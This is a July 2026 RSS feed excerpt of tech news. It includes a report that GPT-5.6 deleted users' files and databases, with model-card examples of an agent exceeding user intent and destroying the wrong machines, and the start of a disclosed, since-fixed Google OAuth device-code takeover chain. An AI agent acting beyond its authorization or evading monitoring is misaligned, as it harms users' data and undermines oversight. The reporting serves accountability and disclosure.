<link>https://tsecurity.de/de/3676270/ios-mac-os/robloxs-ai-game-creation-tool-is-coming-to-iphone-and-ipad/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676270/ios-mac-os/robloxs-ai-game-creation-tool-is-coming-to-iphone-and-ipad/</guid>
<pubDate>Fri, 17 Jul 2026 16:09:24 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="780" height="439" src="https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02-1440x810.jpg.webp" class="attachment-large size-large wp-post-image" alt="Roblox AI game creation tool Build" decoding="async" fetchpriority="high" srcset="https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02-1440x810.jpg.webp 1440w, https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02-400x225.jpg 400w, https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02-768x432@2x.jpg.webp 1536w, https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02-350x197.jpg 350w, https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02-768x432.jpg.webp 768w, https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02-1020x574.jpg.webp 1020w, https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02.jpg.webp 1600w, https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02-400x225@2x.jpg 800w" sizes="(max-width: 780px) 100vw, 780px"></div>
<p>Roblox’s new AI game creation tool Build lets iPhone users turn a text prompt into a playable game. Give it a try!</p>
<p>(via <a href="https://www.cultofmac.com/">Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.</a>)</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The manosphere’s testosterone fever is coming for the troops]]></title>
<description><![CDATA[This is Optimizer, a weekly newsletter sent from Verge senior reviewer Victoria Song that dissects and discusses the latest gizmos and potions that swear they're going to change your life. Opt in for Optimizer here. I was in the middle of writing a different Optimizer column this week when I lear...]]></description>
<link>https://tsecurity.de/de/3676257/it-nachrichten/the-manospheres-testosterone-fever-is-coming-for-the-troops/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676257/it-nachrichten/the-manospheres-testosterone-fever-is-coming-for-the-troops/</guid>
<pubDate>Fri, 17 Jul 2026 16:02:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This is Optimizer, a weekly newsletter sent from Verge senior reviewer Victoria Song that dissects and discusses the latest gizmos and potions that swear they're going to change your life. Opt in for Optimizer here. I was in the middle of writing a different Optimizer column this week when I learned that Pete Hegseth is […]]]></content:encoded>
</item>
<item>
<title><![CDATA[iPad mini and 3 more iPads getting upgrades: What to expect]]></title>
<description><![CDATA[Every iPad is rumored to get an upgrade in the next year. It all starts with an OLED iPad mini, and here's what's coming across the lineup. 
(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)]]></description>
<link>https://tsecurity.de/de/3676173/ios-mac-os/ipad-mini-and-3-more-ipads-getting-upgrades-what-to-expect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676173/ios-mac-os/ipad-mini-and-3-more-ipads-getting-upgrades-what-to-expect/</guid>
<pubDate>Fri, 17 Jul 2026 15:26:08 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="780" height="439" src="https://www.cultofmac.com/wp-content/uploads/2026/07/iPad-rumors-2026-2026-1440x810.jpg.webp" class="attachment-large size-large wp-post-image" alt="iPad rumors reveal Apple's big plans" decoding="async" srcset="https://www.cultofmac.com/wp-content/uploads/2026/07/iPad-rumors-2026-2026-1440x810.jpg.webp 1440w, https://www.cultofmac.com/wp-content/uploads/2026/07/iPad-rumors-2026-2026-400x225.jpg 400w, https://www.cultofmac.com/wp-content/uploads/2026/07/iPad-rumors-2026-2026-768x432@2x.jpg.webp 1536w, https://www.cultofmac.com/wp-content/uploads/2026/07/iPad-rumors-2026-2026-350x197.jpg 350w, https://www.cultofmac.com/wp-content/uploads/2026/07/iPad-rumors-2026-2026-768x432.jpg.webp 768w, https://www.cultofmac.com/wp-content/uploads/2026/07/iPad-rumors-2026-2026-1020x574.jpg.webp 1020w, https://www.cultofmac.com/wp-content/uploads/2026/07/iPad-rumors-2026-2026.jpg.webp 1600w, https://www.cultofmac.com/wp-content/uploads/2026/07/iPad-rumors-2026-2026-400x225@2x.jpg 800w" sizes="(max-width: 780px) 100vw, 780px"></div>
<p>Every iPad is rumored to get an upgrade in the next year. It all starts with an OLED iPad mini, and here's what's coming across the lineup. </p>
<p>(via <a href="https://www.cultofmac.com/">Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.</a>)</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple sues OpenAI, public betas, & super apps on the AppleInsider Podcast]]></title>
<description><![CDATA[The already tense relationship between Apple and OpenAI reaches a breaking point as trade secret accusations emerge, plus your hosts discuss EU regulations, the future of gaming, and public betas on the AppleInsider Podcast.Apple is set to be in a lawsuit with OpenAI for some timeApple restarted ...]]></description>
<link>https://tsecurity.de/de/3676168/ios-mac-os/apple-sues-openai-public-betas-super-apps-on-the-appleinsider-podcast/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676168/ios-mac-os/apple-sues-openai-public-betas-super-apps-on-the-appleinsider-podcast/</guid>
<pubDate>Fri, 17 Jul 2026 15:26:02 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The already tense relationship between Apple and OpenAI reaches a breaking point as trade secret accusations emerge, plus your hosts discuss EU regulations, the future of gaming, and public betas on the AppleInsider Podcast.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68263-143896-Apple-Park-night-Rainbow-Stage-xl.jpg" alt="Large glowing rainbow arch installation in a dark landscaped courtyard, surrounded by trees and small lights, with a long modern glass building illuminated in the background at night" height="738"><br><span>Apple is set to be in a lawsuit with OpenAI for some time</span></div><br>Apple restarted its AI efforts with new Apple Foundation Models built with Google's Gemini Frontier models at the foundation. While Google's involvement seemed obvious in the long run, the move away from OpenAI's ChatGPT may have been a long time coming.<br><br>Not only is OpenAI building hardware products meant to directly compete with Apple's, but the company has poached over 400 employees in recent years. Apple finally showed its hand with a trade secrets lawsuit that could upend OpenAI's hardware ambitions and hopes for sustainable post-AI revenue.<br><br><br> <a href="https://appleinsider.com/articles/26/07/17/apple-sues-openai-public-betas-super-apps-on-the-appleinsider-podcast?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244980?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA['The SaaS apocalypse is overrated': How Workday and other software provders plan to survive AI]]></title>
<description><![CDATA[Experts warn that an extinction event is coming for SaaS, thanks to AI disintermediation. Here's why some vendors remain skeptical.]]></description>
<link>https://tsecurity.de/de/3676123/hacking/the-saas-apocalypse-is-overrated-how-workday-and-other-software-provders-plan-to-survive-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676123/hacking/the-saas-apocalypse-is-overrated-how-workday-and-other-software-provders-plan-to-survive-ai/</guid>
<pubDate>Fri, 17 Jul 2026 15:06:10 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Experts warn that an extinction event is coming for SaaS, thanks to AI disintermediation. Here's why some vendors remain skeptical.]]></content:encoded>
</item>
<item>
<title><![CDATA[US Charges Two Over $43M Chinese Money Laundering Operation]]></title>
<description><![CDATA[U.S. authorities have charged two New York residents, including Zhuoying Chen, in connection with an alleged Chinese money laundering network accused of laundering at least $43 million generated through cyber investment fraud schemes. The indictment, unsealed in Brooklyn, alleges the operation ra...]]></description>
<link>https://tsecurity.de/de/3675847/it-security-nachrichten/us-charges-two-over-43m-chinese-money-laundering-operation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675847/it-security-nachrichten/us-charges-two-over-43m-chinese-money-laundering-operation/</guid>
<pubDate>Fri, 17 Jul 2026 13:10:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1236" height="721" src="https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Chinese money laundering" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering.webp 1236w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-300x175.webp 300w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-1024x597.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-768x448.webp 768w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-600x350.webp 600w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-150x88.webp 150w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-750x438.webp 750w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-1140x665.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering.webp 1236w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-300x175.webp 300w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-1024x597.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-768x448.webp 768w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-600x350.webp 600w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-150x88.webp 150w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-750x438.webp 750w, https://thecyberexpress.com/wp-content/uploads/Chinese-money-laundering-1140x665.webp 1140w" sizes="(max-width: 1236px) 100vw, 1236px" title="US Charges Two Over $43M Chinese Money Laundering Operation 1"></p><span data-contrast="auto">U.S. authorities have charged two New York residents, including Zhuoying Chen, in connection with an alleged Chinese money laundering network accused of laundering at least $43 million generated through cyber investment fraud schemes. The indictment, unsealed in Brooklyn, alleges the operation ran between 2020 and 2022 and involved an extensive network of shell companies and bank accounts.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">According to <a href="https://www.justice.gov/opa/pr/two-key-members-chinese-money-laundering-network-charged-laundering-43-million-investment" target="_blank" rel="nofollow noopener">prosecutors</a>, Zhuoying Chen, 27, of Brooklyn, and Haojie Zhang, 38, of Queens, managed more than a dozen individuals across Brooklyn and Queens. The group allegedly opened 140 bank accounts under approximately 45 shell companies to move proceeds from fraudulent investment scams before transferring the funds to co-conspirators based in China.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Authorities said the <a href="https://thecyberexpress.com/global-crypto-investment-scam/" target="_blank" rel="noopener">investment fraud</a> schemes began with perpetrators contacting victims through messaging platforms and social media. They allegedly built trust over time, persuaded victims to invest in seemingly lucrative opportunities, displayed fake profits to encourage additional investments, and ultimately stole the victims' money.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Officials Vow Crackdown on Chinese Money Laundering Operations</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">Commenting on the Chinese money laundering case, Assistant Attorney <a class="wpil_keyword_link" href="https://cyble.com/general/" target="_blank" rel="noopener" title="General" data-wpil-keyword-link="linked" data-wpil-monitor-id="29016">General</a> A. Tysen Duva said, "As alleged in the indictment, the defendants laundered <a class="wpil_keyword_link" href="https://cyble.com/cybercrime/fraud/" target="_blank" rel="noopener" title="fraud" data-wpil-keyword-link="linked" data-wpil-monitor-id="29015">fraud</a> proceeds, enabling scammers to continue to victimize Americans and deprive them of their hard-earned money." He added that dismantling Chinese money laundering networks supporting investment fraud is critical to protecting Americans and that the Criminal Division "will relentlessly pursue the financial networks that fuel and profit from these fraud schemes."</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">U.S. Attorney Joseph Nocella Jr. for the Eastern District of New York described the defendants as "key members of a sophisticated money laundering network" that allegedly routed more than $40 million in victim funds to bank accounts in China. He said the office would continue pursuing individuals involved in investment fraud targeting vulnerable victims.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">FBI New York Assistant Director in Charge James C. Barnacle Jr. stated that the operation allegedly laundered more than $40 million from American victims before depositing the funds into Chinese accounts overseas. He said the <a href="https://thecyberexpress.com/operation-tri-force-sentinel/" target="_blank" rel="noopener">FBI</a> remains committed to working with federal partners to dismantle such fraud networks.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Acting Executive Associate Director John A. Condon of Homeland <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29014">Security</a> Investigations said the two Chinese nationals allegedly operated the illicit network for nearly two years, laundering victims' life savings. IRS Criminal Investigation Special Agent in Charge Harry T. Chavis Jr. said the indictment demonstrates that "justice is coming" for fraudsters, while U.S. Postal Inspection Service Inspector in Charge Ketty Larco-Ward noted that investment fraud schemes <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29013">exploit</a> victims' trust through false promises of returns.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Investigation and Legal Proceedings Continue</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">The conspiracy to commit money laundering charge carries a maximum sentence of 20 years in prison. The investigation is being conducted by FBI New York, HSI New York, IRS Criminal Investigation New York, and the U.S. Postal Inspection Service. The prosecution is being led by Trial Attorneys Claire Galasso, David Ginensky, and Adrienne Rosen, along with Assistant U.S. Attorneys Benjamin Weintraub and David Berman.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The case also forms part of the Homeland Security Task Force initiative established under Executive Order 14159. Officials emphasized that an indictment is only an allegation, and Zhuoying Chen and the co-defendant are presumed innocent unless proven guilty beyond a reasonable doubt in court.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why technology leaders are losing the AI conversation to the people who report to them]]></title>
<description><![CDATA[I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference...]]></description>
<link>https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</guid>
<pubDate>Fri, 17 Jul 2026 13:03:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference, or to an AI specialist a board member recommended. The CIO finds out the strategy is forming when a slide shows up that they did not build. By then, the direction is already half-set, and the CIO is being asked to react to it rather than shape it.</p>



<p class="wp-block-paragraph">I want to be precise about what is happening, because it is easy to misread. The CIO has not been removed from anything. Title intact, budget intact, seat at the table intact. What has changed is quieter. On one of the most consequential technology conversations the company will have this decade, the CIO is being routed around. The work still flows through them eventually. The thinking no longer starts with them.</p>



<p class="wp-block-paragraph">I have watched this happen to capable people who would have given the CEO a better answer than the person who was asked. That is what makes it worth naming. This is not a competence gap. It is a positioning gap, and positioning gaps close in the wrong direction if you ignore them long enough.</p>



<h2 class="wp-block-heading">How the routing actually starts</h2>



<p class="wp-block-paragraph">The routing does not begin with a decision to exclude anyone. It begins with a CEO who is anxious about AI and looking for someone who sounds certain. AI is moving fast enough that executives feel the pressure to have a point of view before they have earned one. That pressure usually arrives secondhand, from a board member or a peer on the golf course describing what is working at their company. So the CEO goes looking for someone who will confirm the answer they already want to hear, and they keep going back to whoever gives it to them.</p>



<p class="wp-block-paragraph">Here is where many technology leaders lose the thread. For years, the safe posture in the CIO seat was measured caution. You raised the risks, you flagged the integration cost, you asked who owns the data and what the compliance exposure looks like. That posture built credibility in an era when the failure mode was moving too fast on technology nobody understood. With AI, the same posture reads as drag. A CEO who is being told by three vendors that “the future is already here” does not want to hear why they should slow down and be cautious. They hear caution as losing the race, and they go find a point of view somewhere else.</p>



<p class="wp-block-paragraph">The data leaders, vendors and specialists who get the call are not necessarily more capable. They are more available with a confident answer. A vendor’s whole job is to arrive with conviction. A data scientist who has shipped one impressive model carries more apparent authority on AI, in that moment, than a CIO who runs the entire estate but talks about AI the way they talk about every other risk. The CEO is not weighing depth against depth. They are weighing the person who said yes against the person who said it depends.</p>



<p class="wp-block-paragraph">Once that pattern sets, it compounds. The CEO who got a satisfying answer from the data leader goes back to the data leader. The vendor who shaped the first conversation gets invited into the second. Each loop the CIO is not in makes the next one easier to run without them. The org chart still says the CIO owns technology strategy. The actual conversation has relocated.</p>



<h2 class="wp-block-heading">What it costs before anyone notices</h2>



<p class="wp-block-paragraph">The cost shows up late, which is exactly why it is dangerous. For a while nothing looks broken. The CIO is still delivering. The AI initiatives are still landing on their plate to execute. The damage is happening upstream, in the room where the bets get made, and the CIO is not in that room.</p>



<p class="wp-block-paragraph">I have seen what arrives downstream when the strategy was set without the person who has to run it. A model gets championed that the data cannot actually support. A vendor commitment gets made that locks the company into an architecture the CIO would have flagged in the first meeting. An agent gets deployed inside a business unit, with executive blessing, and the CIO inherits accountability for it months later without ever having shaped how it was governed. The recent IBM finding that <a href="https://www.cio.com/article/4182288/cios-are-being-held-accountable-for-ai-they-dont-fully-control-ibm-study-finds.html">CIOs are increasingly held accountable for AI they do not fully control</a> is the visible end of this. The invisible front end is the conversation the CIO was routed around, the one where the accountability got created in the first place.</p>



<p class="wp-block-paragraph">What I find most corrosive is what it does to the CIO’s standing over time. Every initiative the CIO executes but did not shape reinforces a story about what the CIO is for. They become the person who runs the technology other people decided on. That is a fine description of an order taker and a poor description of a strategic leader, and CEOs do not promote, fund, or defend order takers when budgets tighten. The routing-around does not just cost the company a worse AI strategy. It quietly recasts the CIO as the implementer of everyone else’s thinking, and that recasting is hard to reverse once the executive team has internalized it.</p>



<h2 class="wp-block-heading">What the leaders who stayed in the conversation did</h2>



<p class="wp-block-paragraph">The technology leaders I have watched hold their position on AI did one thing first. They stopped leading with caution and started leading with a point of view. Not a reckless one. A real, defensible position on where AI creates value in their specific business and where it does not, delivered with the same conviction the vendors bring, before the CEO went looking elsewhere for it. They made themselves the person with the clearest answer, which is the role the routing-around was filling with someone else.</p>



<p class="wp-block-paragraph">That requires giving up a posture that felt safe for a long time. The CIOs who made the shift accepted that on AI, being right and cautious is worth less than being early and directional. They formed a view ahead of being asked. They walked into the CEO’s office with where we should place our AI bets and why, rather than waiting to be handed someone else’s bets to pressure-test. The difference is whether you are the author of the strategy or its editor, and CEOs route around editors.</p>



<p class="wp-block-paragraph">They also changed how they talk about risk. Instead of presenting risk as the reason to slow down, they folded it into the recommendation. The data is not ready for that use case, so here is the use case where it is ready, and here is what we do in parallel to unlock the first one. That framing keeps the CIO inside the conversation as the person making AI happen responsibly, rather than the person standing outside it explaining why it is hard. Same expertise, opposite effect on whether the CEO keeps coming back.</p>



<p class="wp-block-paragraph">None of this is about pushing the data leaders and specialists out. The strongest CIOs I know pulled those people closer and brought them into the room under their own framing, so that when the CEO wanted the specialist’s input, it arrived through the CIO rather than around them. They made themselves the orchestrator of the AI conversation instead of one of its casualties.</p>



<p class="wp-block-paragraph">If you are a technology leader right now, the question worth sitting with is not whether you are good at AI. You probably are. The question is whether the most important AI conversations in your company are still starting with you, or whether you have quietly become the person they get handed to after the thinking is done. That answer is set in rooms you may not be in, and the only way to find out is to ask who your CEO called the last three times AI came up. If the answer is not you, the role is still yours. The conversation has already started leaving.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI acknowledges GPT-5.6 may accidentally delete files, calls it an ‘honest mistake’]]></title>
<description><![CDATA[OpenAI has finally confirmed reports that its latest family of large language models (LLMs) can accidentally delete files, while stressing that such incidents are rare and should be viewed as “honest mistakes.”



Reports of the flagship LLMs deleting files emerged shortly after the company launc...]]></description>
<link>https://tsecurity.de/de/3675685/ai-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-an-honest-mistake/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675685/ai-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-an-honest-mistake/</guid>
<pubDate>Fri, 17 Jul 2026 12:03:45 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenAI has finally confirmed reports that its latest family of large language models (LLMs) can accidentally delete files, while stressing that such incidents are rare and should be viewed as “honest mistakes.”</p>



<p class="wp-block-paragraph">Reports of the flagship LLMs deleting files emerged shortly after the company launched them earlier this month, with investor Matt Shumer <a href="https://x.com/mattshumer_/status/2075657271401390161" target="_blank" rel="noreferrer noopener">taking to X</a> to report that GPT-5.6-Sol had “just accidentally deleted almost all” of his Mac’s files.</p>



<p class="wp-block-paragraph">Just days later, software engineer Bruno Lemos <a href="https://x.com/brunolemos/status/2076769881534398974">posted on X</a> that the same model had deleted his entire production database.</p>



<p class="wp-block-paragraph">In response to these incidents, the company’s engineering lead for Codex, Thibault Sottiaux, <a href="https://x.com/thsottiaux/status/2077630111499882637" target="_blank" rel="noreferrer noopener">wrote on X</a> that internal investigations have revealed that these deletion incidents are more likely to happen when “full access mode is enabled, and Codex is run without sandboxing protections, including without <a href="https://learn.chatgpt.com/docs/sandboxing/auto-review" target="_blank" rel="noreferrer noopener">auto review</a> being enabled.”</p>



<p class="wp-block-paragraph">In cases where full access mode is granted, the model, Sottiaux wrote, “attempts to override the $HOME env var to define a temporary directory. The model makes an honest mistake and mistakenly deletes $HOME instead.”</p>



<p class="wp-block-paragraph">Ironically, OpenAI’s explanation also aligns with findings in its own <a href="https://deploymentsafety.openai.com/gpt-5-6/evaluations-with-challenging-prompts" target="_blank" rel="noreferrer noopener">GPT-5.6 system model card</a>, which notes that the latest model family exhibited this broader class of misaligned behavior slightly more often than GPT-5.5 during the company’s internal deployment simulations.</p>



<p class="wp-block-paragraph">“Our deployment simulation results suggest that relative to GPT-5.5, GPT-5.6 Sol more often takes severity level 3 actions,” the model card states.</p>



<p class="wp-block-paragraph">OpenAI defines severity level 3 as “misaligned behavior that a reasonable user would likely not anticipate and strongly object to, ‘including’ deleting data from cloud storage without requesting user approval, disabling monitoring systems, using obfuscation strategies to get around security controls, and uploading potentially sensitive data (such as code, credentials, images, or personal data) to unapproved services.”</p>



<p class="wp-block-paragraph">The system card also documents examples of the said behavior, particularly related to deletion.</p>



<p class="wp-block-paragraph">In one simulation, after a user authorized the deletion of three specific remote virtual machines, GPT-5.6 was unable to locate them and, instead of asking for clarification, substituted three different virtual machines, terminated their active processes and force-removed their worktrees.</p>



<p class="wp-block-paragraph">Further, the model card states that GPT-5.6 “shows a greater tendency than GPT-5.5 to go beyond the user’s intent, including by taking or attempting actions that the user had not asked for,” though it adds that the absolute rate of such behavior remains low and can be attributed to the model’s greater persistence when pursuing user goals.</p>



<p class="wp-block-paragraph">The company, however, according to Sottiaux, is taking steps to mitigate the risk.</p>



<p class="wp-block-paragraph">“This is of course not how we want the system to behave, even when a user operates the model in full-access mode without the safeguards of our sandbox or without using auto review which checks for these kinds of high risk actions and rejects them,” the engineering lead wrote on X.</p>



<p class="wp-block-paragraph">“We are taking steps to mitigate this risk, including by updating the developer message, guiding more users towards safer permission modes, and adding additional harness safeguards,” Sottiaux added, noting that a detailed post-mortem outlining the root cause of the issue and the additional mitigation measures being implemented is expected to follow in the coming days, despite emphasizing that such incidents happen “extremely rarely.”</p>



<p class="wp-block-paragraph">OpenAI’s GPT 5.6 is not the only model that has “accidentally” deleted databases and files.</p>



<p class="wp-block-paragraph">In July 2025, an AI coding agent from Replit <a href="https://x.com/jasonlk/status/1946069562723897802">deleted a live production database</a> belonging to SaaStr founder Jason Lemkin despite an explicit code freeze, prompting the company to introduce additional safeguards around production access.</p>



<p class="wp-block-paragraph">More recently, in April 2026, a Cursor AI coding agent <a href="https://x.com/lifeofjer/status/2048103471019434248">deleted PocketOS’s production database</a> and its backups after mistakenly identifying the target environment, underscoring the operational risks enterprises face when AI agents are granted broad, unsupervised access to production systems.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Valve say the Team Fortress 2 MvM update is still coming and they're still working on it]]></title>
<description><![CDATA[After the usual silence we've come to expect from Valve on everything, they gave a short blog post on the upcoming MvM update for Team Fortress 2.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3675390/linux-tipps/valve-say-the-team-fortress-2-mvm-update-is-still-coming-and-theyre-still-working-on-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675390/linux-tipps/valve-say-the-team-fortress-2-mvm-update-is-still-coming-and-theyre-still-working-on-it/</guid>
<pubDate>Fri, 17 Jul 2026 09:40:43 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[After the usual silence we've come to expect from Valve on everything, they gave a short blog post on the upcoming MvM update for Team Fortress 2.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/2107235501id29404gol.webp" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/07/valve-say-the-team-fortress-2-mvm-update-is-still-coming-and-theyre-still-working-on-it/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking]]></title>
<description><![CDATA[TL;DRThis one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.Two bugs stack together. First, ...]]></description>
<link>https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:37 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>TL;DR</h3><p>This one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.</p><p>Two bugs stack together. First, the session that anchors a device-code sign-in is fully transferable: copy the sign-in URL from one browser to another and the second browser’s login satisfies the first device’s poll. Second, the authorization server never binds client_id and scope to the device_code server-side, so both can be swapped in the URL after the fact. Chain the two together with the prompt=none parameter and any link, opened by a victim who has ever used "Sign in with Google" anywhere, silently hands over an access token for an arbitrary Google-registered client, no click, no consent screen, no 2FA prompt, almost no trace in the victim's account activity.</p><p>Reported to Google’s VRP on Feb 25, 2026, initially closed twice as “won’t fix”: social engineering, reopened after a one-click PoC, fixed by Mar 28, 2026, and rewarded $13,337. Details on that back-and-forth are in the <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html#9-disclosure-timeline">disclosure timeline</a> below.</p><h3>1. Intro</h3><p>Most of the well-known attacks on OAuth go after the client or the resource server: a malicious app, an open redirect, a signing-algorithm mix-up. They leave the authorization server itself alone, because it’s the one party in the protocol that’s supposed to be unshakeable, the thing every other trust decision is anchored to. This is a story about going after that assumption directly, in the one corner of OAuth that’s explicitly designed to let the login happen on a completely different screen: the device authorization grant.</p><p>It started as a mundane afternoon setting up a TV app on a game console, and it ended with a way to silently take over accounts on virtually any site that offers “Sign in with 